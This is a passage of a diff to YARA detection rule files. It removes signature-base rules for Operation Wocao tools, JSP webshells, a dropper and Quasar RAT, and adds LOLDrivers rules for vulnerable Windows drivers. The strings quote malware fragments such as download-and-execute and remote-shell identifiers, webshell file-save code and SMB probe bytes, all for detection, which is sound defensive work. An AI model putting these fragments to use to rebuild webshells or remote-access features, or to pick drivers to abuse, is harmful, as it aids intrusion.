-            00 00 00 85 ff 53 4d 42 72 00 00 00 00 18 53 c8
-            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
-            00 00 ff b4 00 62 00 02 50 43 20 4e 45 54 57 4f
-            52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02
-            4c 41 4e 4d 41 4e 31 2e 30 00 02 57 69 6e 64 6f
-            77 73 20 66 6f 72 20 57 6f 72 6b 67 72 6f 75 70
-            73 20 33 2e 31 61 00 02 4c 4d 31 2e 32 58 30 30
-            32 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 02 4e 54
-            20 4c 4d 20 30 2e 31 32 00
-        }
-		$smb_2 = {
-            00 00 00 c8 ff 53 4d 42 73 00 00 00 00 18 03 c8
-            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
-            00 00 3f b5 0c ff 00 c8 00 04 11 32 00 00 00 00
-            00 00 00 28 00 00 00 00 00 d4 00 00 a0 8d 00 4e
-            54 4c 4d 53 53 50 00 01 00 00 00 07 82 88 a2 00
-            00 00 00 28 00 00 00 00 00 00 00 28 00 00 00 05
-            01 28 0a 00 00 00 0f 00 00 00 00 00 00 00 00 00
-            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
-            00 00 00 00 00 00 00 00 00 00 00 00
-        }
-		$smbstr_1 = "\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\xff\\xb4\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00"
-		$smbstr_2 = "\\x00\\x00\\x00\\xc8\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x03\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00?\\xb5\\x0c\\xff\\x00\\xc8\\x00\\x04\\x112\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\xa0\\x8d\\x00NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x07\\x82\\x88\\xa2\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x05\\x01(\\n\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
-		$code_1 = "return 'Other error.'" ascii wide
-		$code_2 = "sblob = buf[47:47 + sbl]" ascii wide
-		$code_3 = "re.split('[\\x00-,]+', y[-4])" ascii wide
-		$code_4 = "('').join(sblob[off:off + hlen].split('\\x00'))" ascii wide
-		$code_5 = "banner = '%s    %s' % (hostname, native)" ascii wide
-		$code_6 = "banner = '%s\\\\%s    %s' % (dm, hostname, native)" ascii wide
-		$tsk_1 = "PushTask" ascii wide
-		$tsk_2 = "parse_task" ascii wide
-		$tsk_3 = "commit_task" ascii wide
-		$str_1 = "Usage: getos.py <ip-range|ip-file>" ascii wide
-		$str_2 = "The path '%s' write fails." ascii wide
-		$str_3 = "Receive a signal %d," ascii wide
-		$str_4 = "Scan Complete!" ascii wide
-		$str_5 = "line: %d, %s: %s" ascii wide
-		$str_6 = "Other error." ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		( all of ($smb_*)) or ( all of ($smbstr_*)) or (3 of ($code_*)) or ( all of ($tsk_*)) or (3 of ($str_*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Info_Vbs
+rule LOLDRIVERS_PUA_VULN_Driver_Nmscommunications_Cgkwinksys_Ctaccess_223F : FILE
 {
 	meta:
-		description = "Strings from the information grabber VBS"
-		author = "Fox-IT SRT"
-		id = "b719fb31-2836-5faf-a7c8-c361a14df2be"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L297-L316"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e37f8768c7920b8c3d9fdd6bb3a4e748c47a6c06a8aaed01655355ef3d8c3457"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cg6kwin2k.sys"
+		author = "Florian Roth"
+		id = "0de735b8-bbaf-551c-91f0-245740c1c78b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5148-L5167"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "223f61c3f443c5047d1aeb905b0551005a426f084b7a50384905e7e4ecb761a1"
+		logic_hash = "2ec82ad1a839ff65d3e8288ed161650bd678f8a201bb513bd869d1e9bcfb2a65"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ = "Logger PingConnect"
-		$ = "Logger GetAdmins"
-		$ = "Logger InstallPro"
-		$ = "Logger Exec"
-		$ = "retstr = adminsName & \" Members\" & vbCrLf & _"
-		$ = "Logger VolumeName & \" (\" & objDrive.DriveLetter & \":)\" _"
-		$ = "txtRes = txtRes & machine & \" can"
-		$ = "retstr = \"PID   SID Image Name\" & vbCrLf & \"===="
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00430047002f004d0047002000660061006d0069006c00790020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e004d005300200043006f006d006d0075006e00690063006100740069006f006e0073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e003000300020006200750069006c0074002000620079003a002000410064006d0069006e006900730074007200610074006f0072 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300670036006b00770069006e0032006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004300540020004100630063006500730073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300670036006b00770069006e0032006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004e004d005300200043006f006d006d0075006e00690063006100740069006f006e007300200043006f00720070002e0032003000300034 }
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Console_Jsp
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E4D9 : FILE
 {
 	meta:
-		description = "Strings from the console.jsp webshell"
-		author = "Fox-IT SRT"
-		id = "1afdfc34-d2e3-58c7-80ea-ee5632e42469"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L318-L335"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e70c15ef10b63a011edbcedc773a8e2917fd915c3ecc273c3bf2b78eb10fc570"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "b0ef62c7-b223-5d70-883d-1a6a3d28dc0d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5170-L5189"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e4d9f037411284e996a002b15b49bc227d085ee869ae1cd91ba54ff7c244f036"
+		logic_hash = "e17c01d291e60fff225ee60e296450ab2d4a293084dc4c07de7347f55566d7ee"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "String strLogo = request.getParameter(\"image\")"
-		$b = "!strLogo.equals(\"web.gif\")"
-		$c = "<font color=red>Save Failed!</font>"
-		$d = "<font color=red>Save Success!</font>"
-		$e = "Save path:<br><input type=text"
-		$f = "if (newfile.exists() && newfile.length()>0) { out.println"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000350038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Index_Jsp
+rule LOLDRIVERS_PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_B9AE : FILE
 {
 	meta:
-		description = "Strings from the index.jsp socket tunnel"
-		author = "Fox-IT SRT"
-		id = "9c226ccd-6c69-523c-bca4-371e55274667"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L337-L353"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "870dad9fb5456f8edbd9f3c2d0b8764cf1143399626ce4df53c93919bcb1a0cb"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		id = "33a0b3ee-4ea1-54ba-95ef-cebfcaa7945d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5192-L5211"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b9ae1d53a464bc9bb86782ab6c55e2da8804c80a361139a82a6c8eef30fddd7c"
+		logic_hash = "dac574b12f72b99fe66500edb6447802f95ad8d6c787ddbea69b36a1c0dfdab7"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$x1 = "X-CMD"
-		$x2 = "X-STATUS"
-		$x3 = "X-TARGET"
-		$x4 = "X-ERROR"
-		$a = "out.print(\"All seems fine.\");"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310034002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		all of ($x*) and $a
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Ver_Jsp
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Cupfixerxsys_Windowsrwinddkdriver_8C74 : FILE
 {
 	meta:
-		description = "Strings from the ver.jsp webshell"
-		author = "Fox-IT SRT"
-		id = "b2828b84-8934-5111-9345-683a07025070"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L355-L372"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ada6de4b07a76e79bb17793cda2b51f96554a35992a73f59c360487638ae3be3"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CupFixerx64.sys"
+		author = "Florian Roth"
+		id = "32559d4c-eef4-5b67-a74c-f89589bc446b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5214-L5233"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8c748ae5dcc10614cc134064c99367d28f3131d1f1dda0c9c29e99279dc1bdd9"
+		logic_hash = "d0eb0738da64ce1a94278a422e829f01d1514ac4536fc2187aa5f4112b70f6e0"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "String strLogo = request.getParameter(\"id\")"
-		$b = "!strLogo.equals(\"256\")"
-		$c = "boolean chkos = msg.startsWith"
-		$d = "while((c = er.read()) != -1)"
-		$e = "out.print((char)c);}in.close()"
-		$f = "out.print((char)c);}er.close()"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530069006e0063006500790020004300750070002000460069007800650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Webinfo
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevicesinc_Pdfwkrnlsys_Usbcpowerdeliveryfirmwareupdatetoolkerneldriver_0CF8 : FILE
 {
 	meta:
-		description = "Generic strings from webinfo.war webshells"
-		author = "Fox-IT SRT"
-		id = "b8477f62-f3f6-5526-b0e3-9b794fefaa1f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_wocao.yar#L374-L394"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "711737a56067f24f422cc7d5aeba4389741fe18a0e66f2715fce626c3b6aef19"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PDFWKRNL.sys"
+		author = "Florian Roth"
+		id = "2eb54e4c-3e7b-5b75-895e-5985c8536282"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5236-L5256"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0cf84400c09582ee2911a5b1582332c992d1cd29fcf811cb1dc00fcd61757db0"
+		hash = "f190919f1668652249fa23d8c0455acbde9d344089fde96566239b1a18b91da2"
+		logic_hash = "6497a69a7fd7502a78ec6d373a2b0bdc1da73bca4590a256f7094463e0f0b363"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$var1 = "String strLogo = request.getParameter"
-		$var2 = "String content = request.getParameter(\"content\");"
-		$var3 = "String basePath=request.getScheme()"
-		$var4 = "!strLogo.equals("
-		$var5 = "if(path!=null && !path.equals(\"\") && content!=null"
-		$var6 = "File newfile=new File(path);"
-		$str1 = "Save Success!"
-		$str2 = "Save Failed!"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005500530042002d004300200050006f007700650072002000440065006c006900760065007200790020004600690072006d0077006100720065002000550070006400610074006500200054006f006f006c0020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004400460057004b0052004e004c002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005500530042002d004300200050006f007700650072002000440065006c006900760065007200790020004600690072006d0077006100720065002000550070006400610074006500200054006f006f006c0020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004400460057004b0052004e004c002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300032003100200041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
 
 	condition:
-		2 of ($var*) or ( all of ($str*) and 1 of ($var*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Generic_Dropper : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_B175 : FILE
 {
 	meta:
-		description = "Detects Dropper PDB string in file"
-		author = "Florian Roth (Nextron Systems)"
-		id = "60ce6a5c-2e12-515b-b8cb-8c87500cb37b"
-		date = "2018-03-03"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/JAHZVL"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_dropper_pdb.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4ef83796d232edf34a6339e00db486612a88ff2d054f1afcd524def2e53b3b7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
+		author = "Florian Roth"
+		id = "1c0669aa-b156-580f-9bb0-d69502af6a7f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5259-L5278"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b17507a3246020fa0052a172485d7b3567e0161747927f2edf27c40e310852e0"
+		logic_hash = "bfcaa037bc06303a0de6a0372cd9dd49bd9801610989df46ca19fd844b22560e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\Release\\Dropper.pdb"
-		$s2 = "\\Release\\dropper.pdb"
-		$s3 = "\\Debug\\Dropper.pdb"
-		$s4 = "\\Debug\\dropper.pdb"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000370020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Quasar_RAT_Jan18_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_4D77 : FILE
 {
 	meta:
-		description = "Detects Quasar RAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "52408897-bfec-5726-9d01-6ff982d50c28"
-		date = "2018-01-29"
-		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_quasar_vermin.yar#L11-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4b2c8695a053a714e97f3e108f0f359d9e49151297a21e460b3201d8f4e72a89"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "5edd8373-0756-59cf-8079-8cfd5b1fd454"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5281-L5300"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4d777a9e2c61e8b55b3c34c5265b301454bb080abe7ffb373e7800bd6a498f8d"
+		logic_hash = "bed34d3bcb856628a688bb189f5bc1a0adf2384698ac28196fc5313e57387a1e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
-		hash2 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
 
 	strings:
-		$a1 = "ping -n 20 localhost > nul" fullword wide
-		$s2 = "HandleDownloadAndExecuteCommand" fullword ascii
-		$s3 = "DownloadAndExecute" fullword ascii
-		$s4 = "UploadAndExecute" fullword ascii
-		$s5 = "ShellCommandResponse" fullword ascii
-		$s6 = "Select * From Win32_ComputerSystem" fullword wide
-		$s7 = "Process could not be started!" fullword wide
-		$s8 = ".Core.RemoteShell" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00300035002e00300039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00300035002e00300039 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
